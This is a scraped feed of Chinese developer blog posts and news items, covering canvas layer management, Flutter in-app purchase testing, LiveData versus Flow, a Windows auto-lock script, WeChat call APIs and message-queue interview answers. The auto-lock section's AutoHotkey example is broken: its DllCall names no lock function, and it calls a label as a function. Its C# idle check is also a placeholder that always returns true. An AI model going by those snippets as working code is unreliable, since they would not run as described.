2、后来居上: 当元素的层叠水平一致、层叠顺序相同的时候,在DOM流中处于后面的元素会覆盖前面的元素。

这样做的好处就是不仅操作方便,也不用增加额外冗余代码。就是计算起来我感觉还挺麻烦的。

我看他的具体实现

他创建Layer类管理单个元素的位置、大小等信息,并使用列表管理所有图层,通知所有注册的监听器改变。

Layer类通常是一个在图形编辑软件中用来表示图层的对象。 在海报编辑器这样的应用中,Layer类可以封装一个图层的所有属性和行为,使得图层的管理变得更加简单和直观。

使用 Layer 类:

  1. 定义Layer类
    首先,你需要定义Layer类,包括它的属性和方法。这通常在你的项目中的一个单独的文件或模块里完成。
// Layer.js
class Layer {
  constructor(id, name) {
    this.id = id; 
    this.name = name;  //名称
    this.visible = true;  //是否展示
    this.opacity = 1;  //透明度
    this.position = { x: 0, y: 0 };  //位置
    this.size = { width: 0, height: 0 };  //大小
    this.rotation = 0;  //旋转
    this.elements = [];  //包含元素
  }
}

2. 创建Layer实例
当需要一个新的图层时,创建Layer类的实例。

// main.js
import { Layer } from './Layer.js';

const backgroundLayer = new Layer('layer1', 'Background');
const foregroundLayer = new Layer('layer2', 'Foreground');

3. 管理图层
在你的编辑器或应用中,你可能需要一个管理器来处理所有图层的逻辑,比如添加、删除、重排序图层等。

// LayerManager.js
class LayerManager {
  constructor() {
    this.layers = [];
  }

  addLayer(layer) {
    this.layers.push(layer);
  }

  removeLayer(layerId) {
    this.layers = this.layers.filter(layer => layer.id !== layerId);
  }

  // 其他管理方法...
}

4. 渲染图层
你需要一个渲染函数来将图层绘制到画布上。这个函数会遍历所有图层,并根据每个图层的属性来绘制它们的内容。

// Renderer.js
function renderLayer(layer, context) {
  if (!layer.visible) return;

  context.save();
  context.globalAlpha = layer.opacity;
  context.translate(layer.position.x, layer.position.y);
  context.rotate(layer.rotation * Math.PI / 180);

  layer.elements.forEach(element => {
    // 根据元素类型绘制元素
  });

  context.restore();
}
//渲染全部的图层
function renderAllLayers(layers, canvasContext) {
  layers.forEach(layer => {
    renderLayer(layer, canvasContext);
  });
}

5. 与用户界面交互
在你的用户界面中,你需要提供工具让用户能够与图层交互,比如拖动图层来改变顺序,或者改变图层的属性。

<!-- index.html -->
<canvas id="canvas"></canvas>
<div>
  <button onclick="layerManager.bringToFront('layer1')">Bring to Front</button>
  <button onclick="layerManager.sendToBack('layer2')">Send to Back</button>
</div>

// main.js
document.getElementById('canvas').addEventListener('click', (event) => {
  // 根据点击事件处理图层交互
});

// 假设你有一个函数来更新画布
function updateCanvas() {
  const canvas = document.getElementById('canvas');
  const context = canvas.getContext('2d');
  renderAllLayers(layerManager.layers, context);
}
  1. 保存和加载图层状态
    你可能需要保存和加载图层的状态,以便用户可以保存他们的工作并在以后加载。
// 保存图层状态
function saveLayers() {
  const layersState = layerManager.layers.map(layer => ({
    id: layer.id,
    name: layer.name,
    visible: layer.visible,
    opacity: layer.opacity,
    position: { x: layer.position.x, y: layer.position.y },
    size: { width: layer.size.width, height: layer.size.height },
    rotation: layer.rotation,
    elements: layer.elements.map(element => ({ /* 元素的保存逻辑 */ }))
  }));
  // 将layersState保存到本地存储或服务器
}

// 加载图层状态
function loadLayers() {
  // 从本地存储或服务器加载layersState
  const layersState = /* 加载逻辑 */;
  layersState.forEach(layerState => {
    const layer = new Layer(layerState.id, layerState.name);
    // 设置layer的属性和元素
    layerManager.addLayer(layer);
  });
}

综上所述,这个项目是一个纯原生的画布,基于普通的dom操作的。通过数据驱动,调整图层就是调整了数据。然后循环渲染出来的。 回到讯排这个项目,可以看到他的架构里有这样一张图,也是定义了类似的layer类,去保存元素和图层的数据。 alt text

以上就是我在第一次接触海报编辑器时所做的思考,希望能对大家有点点帮助。最后,也提前祝大家新年快乐~

by 奇舞精选 at January 24, 2025 03:04 AM

oschina news industry

智谱宣布电脑智能体 GLM-PC 开放体验

1 月 23 日,智谱宣布自主操作电脑的多模态 Agent — GLM-PC 开放体验。

据了解,GLM-PC 是基于智谱多模态大模型 CogAgent,全球首个面向公众、回车即用的电脑智能体(agent)。它能像人类一样「观察」和「操作」计算机,协助用户高效完成各类电脑任务

本次 GLM-PC 升级推出「深度思考」模式,并增加了专用来做逻辑推理和代码生成的功能。新版 GLM-PC 将借鉴人类「左脑」与「右脑」分工,通过代码生成与图形界面理解,实现逻辑推理与感知认知的深度结合。

据悉,GLM-PC 的「左脑」部分负责代码生成与逻辑执行,具有规划、循环执行、长思考能力(动态反思、纠错与优化)等功能;而「右脑」部分负责图像与 GUI 认知,专注于深度感知与交互体验,支持 GUI 图像理解、用户行为认知、图像语义解析等功能。

「左右脑」还支持协作,使 GLM-PC 不仅能够处理复杂逻辑任务,还能在开放性问题上展现更高的适应能力、创造力和泛化能力。更能通过动态优化和情境感知,帮助用户探索更高效的解决方案,特别是在循环任务处理、多步推理执行以及长链条任务管理等方面。

目前,新版 GLM-PC 已上线其官网并支持下载体验,本次更新智谱还提供了对 Windows 系统的支持。此外,为促进预训练 GUI Agent 的研究,智谱于 2024 年 12 月开源了全面提升后的模型 CogAgent-9B-20241220。

CogAgent-9B-20241220:

下载&体验:https://cogagent.aminer.cn

by 来源: OSCHINA at January 24, 2025 03:03 AM

juejin android

选择使用 LiveData 还是 Kotlin Flow 进行异步编程?

在 Android 开发中,选择使用 LiveData 还是 Kotlin Flow 进行异步编程取决于具体的需求和应用场景。下面我们将通过是否包含背压处理这一特性,对它们进行优劣对比,并举例说明。

LiveData

优点:

  1. 生命周期感知:LiveData 是生命周期感知的,自动停止和启动数据流,避免内存泄漏。
  2. 简单易用:对于简单的 UI 数据绑定,LiveData 非常方便。

缺点:

  1. 缺乏背压处理:无法处理高频率的数据流,可能导致数据丢失或性能问题。这意味着当数据生产速度超过消费速度时,LiveData 可能会丢失某些更新。
  2. 不适用于复杂的数据流操作:对于需要复杂操作的场景,LiveData 的表达能力有限。

示例:使用 LiveData 获取数据

import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import kotlinx.coroutines.*

class MyViewModel : ViewModel() {
    private val _data = MutableLiveData<String>()
    val data: LiveData<String> get() = _data

    fun fetchData() {
        // 模拟异步数据获取
        viewModelScope.launch {
            delay(1000) // 模拟网络延迟
            _data.postValue("Hello, LiveData!")
        }
    }
}

在这个示例中,ViewModel 使用 LiveData 来暴露数据,并且在 viewModelScope 中启动协程以异步获取数据。LiveData 会自动感知生命周期,避免内存泄漏。

Kotlin Flow

优点:

  1. 内置背压处理:Flow 支持多种背压策略,可以灵活处理高频率的数据流,确保消费者不会被过量的数据压垮。
  2. 丰富的操作符:Flow 提供了丰富的操作符,适用于复杂的数据流操作。
  3. 流式编程:支持流式编程模型,代码更加简洁和易读。

缺点:

  1. 学习成本:相对于 LiveData,Flow 的概念和使用方法更复杂,学习成本较高。
  2. 生命周期管理:Flow 不是生命周期感知的,需要手动管理生命周期,可能导致内存泄漏。

示例:使用 Kotlin Flow 获取数据

import kotlinx.coroutines.flow.*
import kotlinx.coroutines.*

class MyRepository {
    fun fetchData(): Flow<String> = flow {
        delay(1000) // 模拟网络延迟
        emit("Hello, Flow!")
    }
}

class MyViewModel : ViewModel() {
    private val repository = MyRepository()

    val data: Flow<String> = repository.fetchData()
        .flowOn(Dispatchers.IO) // 在IO线程上运行
        .catch { e ->
            // 处理错误
            emit("Error: ${e.message}")
        }
}

在这个示例中,Repository 使用 Flow 来暴露数据,并且在 ViewModel 中进行消费。Flow 提供了丰富的操作符,可以进行复杂的数据流操作,并且支持背压处理。

背压处理的优劣对比

包含背压处理(Kotlin Flow):

优点:

  1. 防止数据丢失:通过缓冲、丢弃、最新值和组合策略,确保消费者不会被过量的数据压垮。
  2. 提高性能:更好地管理数据流,避免因数据过载导致的性能问题。
  3. 灵活性:可以根据具体场景选择不同的背压策略,灵活应对各种需求。

缺点:

  1. 复杂性增加:引入背压处理机制后,代码复杂性增加,需要开发者理解和管理这些机制。
  2. 学习曲线陡峭:需要额外学习和掌握背压处理的相关知识,对于初学者有一定的挑战。

不包含背压处理(LiveData):

优点:

  1. 简单易用:没有背压处理机制,使用简单,适合初学者和简单的应用场景。
  2. 生命周期感知:自动管理生命周期,避免内存泄漏,简化开发。

缺点:

  1. 数据丢失风险:在高频率数据流场景下,容易出现数据丢失或性能问题。
  2. 局限性:不适合复杂的数据流操作和高频率数据产生的场景。

选择建议

  • 使用 LiveData:如果您的应用场景主要是简单的 UI 数据绑定,并且需要自动处理生命周期,可以选择 LiveData。
  • 使用 Kotlin Flow:如果您的应用场景需要处理高频率的数据流,或需要进行复杂的数据流操作,可以选择 Kotlin Flow。

总结

LiveData 和 Kotlin Flow 各有优劣,选择哪种工具取决于具体的需求和场景。

🌟官方文档:developer.android.google.cn/kotlin/flow

🌟推荐阅读:zhuanlan.zhihu.com/p/139582669

by 用户6795812658209 at January 24, 2025 03:00 AM

juejin ios

在Flutter中快速进行苹果商店内购(in-app purchase, IAP)测试

提示

  • 本文主要面向需要在应用内提供付费内容或增值服务的开发者,即基于 StoreKitIn-App Purchase 测试流程。如果你想要测试 Apple Pay(使用信用卡、借记卡等直接支付),流程会有所不同,但核心测试思路类似:都需在苹果沙盒环境进行测试。
  • 在 Flutter 中进行内购,一般会使用类似于 in_app_purchase 插件,它在 iOS 端底层依赖 StoreKit 完成支付流程。

一、前置准备

1. 注册苹果开发者账号并加入开发者计划

  1. 前往 Apple Developer 注册或登陆你的 Apple ID。
  2. 如果你尚未加入 Apple Developer Program,需要加入付费的开发者计划,才能创建并配置 In-App Purchase 产品。

2. 配置 Xcode 项目

  1. 打开你的 Flutter 项目的 iOS 子项目:在 Flutter 项目根目录下执行 open ios/Runner.xcworkspace,使用 Xcode 打开。

  2. 选择你的项目 target,进入 Signing & Capabilities:

    • Team 一栏选择你的开发者团队 (Team)。
    • 确保 Bundle Identifier 与苹果开发者后台应用的 Bundle ID 一致。
  3. Capabilities: 确保你的应用中已经启用了 In-App Purchases

3. App Store Connect 配置

  1. 登录 App Store Connect

  2. 在 “我的 App” 或 “My Apps” 中,创建一个 App(如果已经有,直接编辑即可)。

    • Bundle ID 与 Xcode 项目一致。
    • 其他信息可以先随意填写,后续上架再补充完善。
  3. 进入你新建/已有的 App,切换到 “功能” (Features) 或 “App 内购买项目” (In-App Purchases) 标签页,创建新的 In-App Purchase 项目:

    • Consumable (消耗型): 用户每次使用都需要再次购买(如游戏内道具、点券)。
    • Non-Consumable (非消耗型): 只需购买一次,永久有效(如解锁高级功能)。
    • Auto-Renewable Subscription (自动续期订阅): 按月或年等周期自动续期。
    • Non-Renewing Subscription (非续期订阅): 手动续订的订阅类型。
  4. 在创建时,填写:

    • Reference Name:仅管理用,你可随意填写。
    • Product ID:与应用中硬编码引用的 productId 一致,通常类似 com.yourcompany.app.iap_item_001
    • Pricing:可以选择适当的价格档位。
    • 语言描述:提供展示给用户看的名称、描述等。
  5. 状态:创建完成后,这些商品最初会是 “Ready to Submit” 或 “Missing Metadata” 状态。当所有必须的描述、截图(如果有)都填写完后,商品会变成 “Ready to Submit”。只要 App 处于 “Ready for Sale” 或者在测试中就可以在沙盒环境购买。

二、沙盒测试账号配置

为了在开发调试阶段测试支付流程,需要使用苹果沙盒 (Sandbox) 环境下的测试账号,而不是你的真实 Apple ID。

  1. 前往 App Store Connect -> Users and Access -> Sandbox

  2. 点击右上角的 “+” 号创建 Sandbox Tester

    • Email:随意写一个未被苹果注册过的邮箱(可以是子邮箱或临时邮箱)。
    • Password:设置一个符合苹果要求的密码。
    • Country/Region:选择与测试市场一致的地区。一般与创建商品时的定价区域对应。
  3. 创建完成后,不要在真实设备的系统设置中直接登录这个沙盒账号到 iCloud!正确流程是:

    • 在 iOS 设备或模拟器上,打开 Settings -> App Store,下拉到 “沙盒账户”,点击登入(一般只有在安装了测试包后或者 debug 包后,实际操作才能看到)。
    • 如果在模拟器中,则需要手动执行购买流程后,iOS 会在弹窗中提示你输入沙盒账号。

三、在 Xcode 中使用 StoreKit Configuration 文件进行本地测试(可选)

Xcode 从 12 版本开始,支持通过 StoreKit Configuration File 进行本地测试,无需创建沙盒账号也能模拟购买流程。这对于快速测试非常有用。

  1. 在 Xcode 中,右击项目根目录,选择 New File...

  2. 选择 StoreKit Configuration File,命名为 StoreKitTest.storekit(可自定义)。

  3. 打开新建的 StoreKitTest.storekit 文件,点击 “+” 创建一个新的产品。

    • Product Identifier 必须与 App Store Connect 上配置的 In-App Purchase Product ID 一致。
    • 设置价格、类型等信息。
  4. Scheme 设置中,选择 Edit Scheme -> Run -> Options,将 StoreKit Configuration 选择为你刚刚创建的 StoreKitTest.storekit

  5. 运行应用后,进行购买操作时,将使用本地 StoreKit 文件进行模拟购买,并可在 Debug 控制台查看详细的测试日志。

注意:本地 StoreKit Configuration 测试并不需要沙盒账号,它与沙盒环境是两种不同的测试方式。

四、Flutter 端的插件与代码编写

以下以官方维护的 in_app_purchase 插件为例,演示在 Flutter 中如何集成并调用 iOS 端的 StoreKit 进行支付测试。你也可以使用其他插件,但思路基本一致。

1. 安装依赖

pubspec.yaml 中添加依赖:

dependencies:
  flutter:
    sdk: flutter
  in_app_purchase: ^5.0.0  # 版本号仅举例,请查看最新版本

然后执行 flutter pub get

2. iOS 端配置

ios/Runner/Info.plist 中,添加 In-App Purchase 权限描述(一般来说不需要额外添加,但有时需要声明用途):

<key>SKAdNetworkItems</key>
<array/>

通常只需要在 Xcode “Signing & Capabilities” 中勾选 In-App Purchases 即可,Info.plist 中并不一定需要额外的权限描述,不过如果项目有使用到其他权限或网络请求,可能在 Info.plist 中统一配置。

3. 初始化与获取商品信息

在你的 Flutter 代码中(比如 main.dart),进行初始化与商品信息请求。

import 'package:flutter/material.dart';
import 'package:in_app_purchase/in_app_purchase.dart';

void main() async {
  WidgetsFlutterBinding.ensureInitialized();

  // 检查平台是否支持内购
  final bool isAvailable = await InAppPurchase.instance.isAvailable();
  if (!isAvailable) {
    // 如果不支持,可能是模拟器不支持购买,或网络问题
    print('In-app purchases are NOT available');
  } else {
    print('In-app purchases are available');
  }

  runApp(const MyApp());
}

class MyApp extends StatelessWidget {
  const MyApp({Key? key}) : super(key: key);

  // 假设我们要测试的商品 ID
  static const String _testProductId = 'com.yourcompany.app.iap_item_001';

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'StoreKit Test Demo',
      home: Scaffold(
        appBar: AppBar(
          title: const Text('StoreKit Test Demo'),
        ),
        body: FutureBuilder<ProductDetailsResponse>(
          future: InAppPurchase.instance.queryProductDetails({_testProductId}),
          builder: (context, snapshot) {
            if (!snapshot.hasData) {
              return const Center(child: CircularProgressIndicator());
            }
            final response = snapshot.data!;
            if (response.error != null) {
              return Center(child: Text('Error: ${response.error}'));
            }
            if (response.productDetails.isEmpty) {
              return const Center(child: Text('No products found.'));
            }
            final product = response.productDetails.first;
            return Center(
              child: ElevatedButton(
                child: Text('购买 ${product.title} - ${product.price}'),
                onPressed: () {
                  // 创建购买请求
                  final purchaseParam = PurchaseParam(
                    productDetails: product,
                  );
                  InAppPurchase.instance.buyConsumable(
                    purchaseParam: purchaseParam,
                  );
                },
              ),
            );
          },
        ),
      ),
    );
  }
}

4. 监听购买状态并处理结果

为了正确地处理购买成功、失败等情况,我们需要监听 InAppPurchase.instance.purchaseStream。这通常在一个全局或独立的 Provider/Bloc 中实现,这里简化示例:

import 'package:in_app_purchase/in_app_purchase.dart';

class PurchaseHandler {
  // 单例
  static final PurchaseHandler _instance = PurchaseHandler._internal();
  factory PurchaseHandler() => _instance;
  PurchaseHandler._internal();

  void init() {
    InAppPurchase.instance.purchaseStream.listen((purchases) {
      _handlePurchaseUpdate(purchases);
    }, onDone: () {
      // 流结束了
    }, onError: (error) {
      // 购买出错
      print('Purchase Stream error: $error');
    });
  }

  Future<void> _handlePurchaseUpdate(List<PurchaseDetails> purchases) async {
    for (final purchase in purchases) {
      switch (purchase.status) {
        case PurchaseStatus.purchased:
          // 购买成功
          print('Purchase Success: ${purchase.productID}');
          // TODO: 向自己的服务器验证收据 或 直接完成交易
          InAppPurchase.instance.completePurchase(purchase);
          break;
        case PurchaseStatus.pending:
          // 用户还在支付确认中
          print('Purchase Pending...');
          break;
        case PurchaseStatus.error:
          // 购买失败
          print('Purchase Error: ${purchase.error}');
          break;
        case PurchaseStatus.restored:
          // 恢复购买
          print('Purchase Restored: ${purchase.productID}');
          // 完成交易
          InAppPurchase.instance.completePurchase(purchase);
          break;
        case PurchaseStatus.canceled:
          // 用户取消
          print('Purchase Canceled');
          break;
      }
    }
  }
}

main.dart 或应用入口处调用 PurchaseHandler().init() 初始化即可。

五、如何进行测试

1. 使用沙盒环境测试

  1. 真机 / 模拟器上运行

    • 建议使用真机,模拟器有时在支付相关的功能不一定完全可行,尤其是苹果支付弹窗。
    • 在 Xcode 的 Runner 目标中,选择真机或者 iOS 模拟器,点击 Run
  2. 应用启动后

    • 调用 InAppPurchase.instance.queryProductDetails 获取商品信息,看能否正确返回。
  3. 进行购买

    • 点击 “购买” 按钮时,会弹出苹果的支付弹窗。
    • 输入之前在 App Store Connect -> Sandbox 里配置的 沙盒测试账号
    • 如果弹出 “需要登录” 的窗口,就使用你创建的沙盒账号。
  4. 观察控制台输出,或在你的 UI 中检查购买回调是否成功。

  5. 如果购买成功,可以在沙盒环境中多次进行相同操作来模拟消耗型商品,或切换到恢复购买逻辑测试非消耗型商品。

2. 使用本地 StoreKit Configuration 测试

  1. 在 Xcode 中设置 Run -> Options -> StoreKit Configuration 为创建的 StoreKitTest.storekit 文件。
  2. 运行应用后,点击 “购买” 按钮。
  3. 由于是本地模拟,会直接回调购买成功或失败,不会出现真正的支付弹窗或 Apple ID 输入窗口。
  4. 你可以在 StoreKitTest.storekit 界面里对每个商品的状态(如订阅周期、价格等)进行自定义,并可快速进行测试。

六、常见问题与注意事项

  1. 沙盒账号登录

    • 千万不要把沙盒账号登录到系统 iCloud 中,而是让它在支付弹窗时弹出,然后登录。
    • 如果出现无法弹出沙盒登录窗口、提示账号不存在等,可以在 “设置 -> 退出 Apple ID” 并重新以真实 Apple ID 登录,再重试购买流程。
  2. 商品拉取不到

    • 确认 Product ID 与 App Store Connect 上的设置一致;
    • 确认在 App Store Connect 上的商品状态是 “Ready to Submit” 或以上,且 App 已经有过至少一次构建并提交测试;
    • 有时候需要等待苹果服务器同步,最多可达 24 小时。
  3. 收据验证

    • 沙盒环境下的收据验证 URL 与正式环境不同,需要在服务器端根据环境做区分;
    • 使用本地 StoreKit Configuration 测试时,没有真正的收据验证流程。
  4. 测试订阅

    • 如果你是测试订阅类型 (Auto-Renewable),沙盒环境中某些周期会被加速,如 1 个月订阅在沙盒中可能只持续几分钟,用于模拟续订。

七、完整流程回顾

  1. 苹果开发者账号:注册并加入付费开发者计划。

  2. Xcode 项目配置:设置 Bundle ID、启用 In-App Purchase Capabilities。

  3. App Store Connect:创建应用、添加内购商品,配置商品信息与价格,记录 Product ID

  4. 沙盒账号:创建沙盒测试账号,用于在真机/模拟器中测试购买。

  5. 可选 StoreKit Configuration:在 Xcode 中创建本地配置文件,无需沙盒账号即可模拟购买。

  6. Flutter 端

    1. 添加 in_app_purchase 插件;
    2. 初始化 InAppPurchase,查询 ProductDetails
    3. 发起购买请求 buyConsumablebuyNonConsumable
    4. 监听 purchaseStream,根据回调处理成功/失败等逻辑;
    5. 完成交易 completePurchase
  7. 测试

    • 在真机或模拟器上测试,使用沙盒账号进行真实沙盒购买;
    • 或在 Xcode 使用本地 StoreKit 配置文件快速模拟购买。

可参考:

by Lewis796 at January 24, 2025 02:59 AM

juejin career

[windows]自动锁屏程序

因为单位经常要求电脑锁屏,突然有个想法,以下是几个关键点的分析和推荐的编程语言/框架:

功能需求

  1. 自动锁定屏幕:这是通过系统提供的 API 来实现的,可以通过模拟 Win + L 键来锁定屏幕。
  2. 设定时间:设置一个定时器,当鼠标不动一定时间后触发锁定。
  3. 播放视频时不锁定:通过判断当前是否有视频播放,可以用多种方式来检测,例如检查是否有媒体播放器进程在运行,或者通过监听音频和视频相关的 API。

适合的语言和框架

1. Python

Python 作为脚本语言,写起来简洁,而且具有很多相关的库,可以用来快速开发这一类工具。

  • 锁定屏幕: 可以使用 ctypes 或者 pyautogui 模拟 Win + L 键。
  • 检测鼠标是否移动: 使用 pynput 库监听鼠标移动事件并进行计时。
  • 判断是否播放视频: 可以通过检查视频播放器进程(例如 vlc.exewmplayer.exe 等)是否在运行,使用 psutil 来检查。
  • 设置定时器和后台运行: 可以使用 Python 的 threading 模块来处理定时任务。

代码示例:

import ctypes
import time
import threading
from pynput.mouse import Listener
import psutil

# 锁定屏幕的函数
def lock_screen():
    ctypes.windll.user32.LockWorkStation()

# 检测是否播放视频的函数
def is_video_playing():
    video_players = ['vlc.exe', 'wmplayer.exe', 'mediaplayer.exe']
    for proc in psutil.process_iter(['pid', 'name']):
        if proc.info['name'].lower() in video_players:
            return True
    return False

# 自动锁定屏幕的函数
class AutoLock:
    def __init__(self, timeout=300):
        self.timeout = timeout  # 默认 5 分钟
        self.last_move_time = time.time()  # 记录上次鼠标活动时间
        self.listener = Listener(on_move=self.on_move)
        self.listener.start()

    def on_move(self, x, y):
        self.last_move_time = time.time()  # 每次鼠标移动时更新时间

    def start_timer(self):
        while True:
            time.sleep(1)
            if time.time() - self.last_move_time > self.timeout and not is_video_playing():
                print("鼠标无活动,自动锁定屏幕")
                lock_screen()
                self.last_move_time = time.time()  # 锁定后重置时间

# 创建一个后台线程来定时检查
auto_lock = AutoLock(timeout=300)  # 设置为5分钟
lock_thread = threading.Thread(target=auto_lock.start_timer)
lock_thread.daemon = True
lock_thread.start()

# 主程序保持运行
while True:
    time.sleep(10)

优点:

  • 简洁:Python 语法简洁,开发速度快。
  • 功能丰富:可以通过第三方库(如 pynputpsutil)轻松实现这些功能。
  • 跨平台:Python 脚本可以在多平台上运行,尽管本例是面向 Windows 的,但在 Linux 或 macOS 上可以通过适配相应的 API 来实现类似功能。

2. C# (Windows 专用)

如果只在 Windows 平台上运行,C# 是一个非常合适的选择。C# 与 Windows API 紧密集成,可以轻松地访问系统功能(如屏幕锁定)和进程管理。

  • 锁定屏幕: 可以直接调用 Windows API 来锁定屏幕。
  • 检测鼠标是否移动: 可以利用 System.Windows.FormsSystem.Management 来监听鼠标事件并计时。
  • 判断是否播放视频: 通过检查进程列表来判断是否有视频播放器正在运行。

代码示例:

using System;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Windows.Forms;

class AutoLockScreen
{
    // 调用Windows API来锁定屏幕
    [DllImport("user32.dll")]
    public static extern bool LockWorkStation();

    static void Main(string[] args)
    {
        Timer timer = new Timer(Callback, null, 0, 1000);
        Application.Run();  // 保持应用程序运行
    }

    static void Callback(object state)
    {
        if (IsMouseIdle() && !IsVideoPlaying())
        {
            LockWorkStation();
        }
    }

    // 判断鼠标是否静止
    static bool IsMouseIdle()
    {
        // 实际实现可以通过捕捉鼠标移动事件来判断
        // 这里我们简单返回 true 来模拟
        return true;
    }

    // 判断是否播放视频
    static bool IsVideoPlaying()
    {
        string[] videoPlayers = { "vlc", "wmplayer", "mediaplayer" };
        var processes = Process.GetProcesses();
        foreach (var process in processes)
        {
            if (videoPlayers.Any(player => process.ProcessName.ToLower().Contains(player)))
            {
                return true;
            }
        }
        return false;
    }
}

优点:

  • 性能更高:C# 是编译型语言,适合对性能有较高要求的场景。
  • 强大的 Windows API 集成:可以直接使用 Windows 提供的 API 完成任务,像 LockWorkStation 用于锁定屏幕非常方便。
  • UI 支持:如果你需要图形界面或者系统托盘功能,C# 提供了强大的支持。

3. AutoHotkey (AHK)

如果你只需要快速实现简单的脚本,AutoHotkey 是一个非常适合自动化和系统控制的语言,特别是在 Windows 系统中。

  • 锁定屏幕: 使用 LockWorkStation 系统命令来锁定屏幕。
  • 检测鼠标是否移动: 可以使用 MouseMove 函数获取鼠标位置并进行检测。
  • 判断是否播放视频: 可以通过 Process 命令查看系统中正在运行的进程。

代码示例:

#Persistent
SetTimer, CheckInactivity, 1000

CheckInactivity:
    ; 检查鼠标是否有活动
    MouseGetPos, MouseX, MouseY
    if (A_TimeIdle > 300000 && !IsVideoPlaying())  ; 如果 5 分钟没有活动并且没有视频播放
    {
        DllCall("user32.dll", "int", 0, "int", 0)  ; 锁定屏幕
    }
    return

IsVideoPlaying:
    Process, Exist, vlc.exe  ; 检查 VLC 是否在运行
    if (ErrorLevel) {
        return true
    }
    Process, Exist, wmplayer.exe  ; 检查 Windows Media Player 是否在运行
    return ErrorLevel > 0

优点:

  • 快速实现:AutoHotkey 脚本非常简单,适合快速实现自动化任务。
  • 直接与操作系统交互:对 Windows 系统的支持非常好,直接调用 Windows 函数。

总结

  • Python:简洁且功能强大,适合快速开发和跨平台使用。使用 pynputpsutil 等库可以方便地完成所有需求。
  • C# :适合 Windows 平台,能直接调用 Windows API,适合需要高性能或与 Windows 紧密集成的任务。
  • AutoHotkey:适合快速编写简单的自动化脚本,尤其适合系统任务和简单的 UI 操作。

如果你想要一个跨平台的解决方案,并且对性能要求不是特别高,Python 是非常好的选择。如果你只在 Windows 上运行且需要更强的性能和系统集成,C# 是更好的选择。

by 小菜茑 at January 24, 2025 02:59 AM

oschina news industry

腾讯客服确认微信 iOS 版并未使用 Callkit

近日,iOS 版微信近期更新最新版本后,开始大规模灰度测试「语音通话使用弹窗快捷接听」功能,随后「微信支持 Callkit」相关话题被顶上热搜。

但近日,开发者 Netskao 通过逆向工程发现,微信并非使用 Callkit 来实现上述功能,而是使用了 iOS17.4 以后加入的 LiveCommunicationKit 接口实现。

此后,根据腾讯客服确认,「语音通话使用弹窗快捷接听」功能调用了 LiveCommunicationKit 接口,从而来实现「语音弹窗」。

据了解,Callkit 是苹果在 iOS10 中推出的一项功能,它能够让用户在使用第三方应用的语音聊天功能时,直接看到来电画面,并且语音聊天记录会记录到通话记录中。2018 年,微信曾引入 Callkit 功能,但后期微信关闭了大陆地区用户的 Callkit 功能。

而本次的 LiveCommunicationKit 是苹果在 iOS17.4 版本引入的新功能,该功能同样为开发者提供了 VoIP 通话的交互接口,并且和 CallKit 一样,支持将应用程序设置为系统默认通话应用。但与 Callkit 有所不同的是,LiveCommunicationKit 在锁屏状态下,不会全屏显示,也不会在 iOS 的通话记录中留下痕迹。

值得一提的是,苹果工程师于去年 12 月,在苹果开发者论坛中就建议 App 开发者,在中国大陆地区使用 LiveCommunicationKit 作为 CallKit 的替代方案。


相关阅读

by 来源: OSCHINA at January 24, 2025 02:57 AM

juejin backend

腾讯面试:大厂必问消息队列场景面试题

今天,我将那些大厂必问的消息队列的场景问题为大家整理出来,本文将跟大家一起来探讨如何回答这些问题。

为什么要使用消息队列?
保证消息有序,一个topic只能有一个partition吗?(消息顺序)
业务突然增长,导致消息消费不过来怎么办?(消息积压)
生产者收到写入成功响应后消息一定不会丢失吗?(消息丢失)
高并发场景下怎么保证消息不会重复消费?(重复消费)
如何保证消息的可靠性?
各大消息队列中间件对比及使用场景

屏幕截图 2025-01-24 104053.png

为什么要使用消息队列?

总结一下,主要三点原因:解耦、异步、削峰。面试的时候,用自己的语言将这三点讲述出来就可以了。

  1. 解耦:比如,用户下单后,订单系统需要通知库存系统,假如库存系统无法访问,则订单减库存将失败,从而导致订单操作失败。订单系统与库存系统耦合,这个时候如果使用消息队列,可以返回给用户成功,先把消息持久化,等库存系统恢复后,就可以正常消费减去库存了。

  2. 异步:将消息写入消息队列,非必要的业务逻辑以异步的方式运行,不影响主流程业务。

  3. 削峰:消费端慢慢的按照数据库能处理的并发量,从消息队列中慢慢拉取消息。在生产中,这个短暂的高峰期积压是允许的。比如秒杀活动,一般会因为流量过大,从而导致流量暴增,应用挂掉。这个时候加上消息队列,服务器接收到用户的请求后,首先写入消息队列,如果消息队列长度超过最大数量,则直接抛弃用户请求或跳转到错误页面。

保证消息有序,一个topic只能有一个partition吗?(消息顺序)

这个场景是针对 kafka 的,一个 Topic,一个 Partition,一个 Consumer,但是这样会导致内部单线程消费,单线程吞吐量太低,一般不会用这个。

针对保证消息有序性的问题,解决方法就是保证生产者入队的顺序是有序的,出队后的顺序消费则交给消费者去保证。

方法一:

拆分 queue,使得一个 queue 只对应一个消费者。

由于 MQ 一般都能保证内部队列是先进先出的,所以把需要保持先后顺序的一组消息使用某种算法都分配到同一个消息队列中。然后只用一个消费者单线程去消费该队列,这样就能保证消费者是按照顺序进行消费的了。

但是消费者的吞吐量会出现瓶颈。如果多个消费者同时消费一个队列,还是可能会出现顺序错乱的情况,这就相当于是多线程消费了

屏幕截图 2025-01-24 100630.png

方法二:

对于多线程的消费同一个队列的情况,可以使用重试机制:比如有一个微博业务场景的操作,发微博、写评论、删除微博,这三个异步操作。

如果一个消费者先执行了写评论的操作,但是这时微博都还没发,写评论一定是失败的,等一段时间。等另一个消费者,先执行发微博的操作后,再执行,就可以成功。

业务突然增长,导致消息消费不过来怎么办?(消息积压)

消息堆积往往是生产者的生产速度与消费者的消费速度不匹配导致的。

有可能就是消费者消费能力弱,渐渐地消息就积压了,也有可能是因为消息消费失败反复复重试造成的,也有可能是消费端出了问题,导致不消费了或者消费极其慢。

一般这个时候,只能临时紧急扩容了,具体操作步骤和思路如下:

  1. 先修复 consumer 的问题,确保其恢复消费速度,然后将现有 consumer 都停掉;
  2. 新建一个 topic,partition 是原来的 10 倍,临时建立好原先 10 倍的 queue 数量;
  3. 然后写一个临时的分发数据的 consumer 程序,这个程序部署上去消费积压的数据,消费之后不做耗时的处理,直接均匀轮询写入临时建立好的 10 倍数量的 queue;
  4. 接着临时用 10 倍的机器来部署 consumer,每一批 consumer 消费一个临时 queue 的数据。这种做法相当于是临时将 queue 资源和 consumer 资源扩大 10 倍,以正常的 10 倍速度来消费数据;
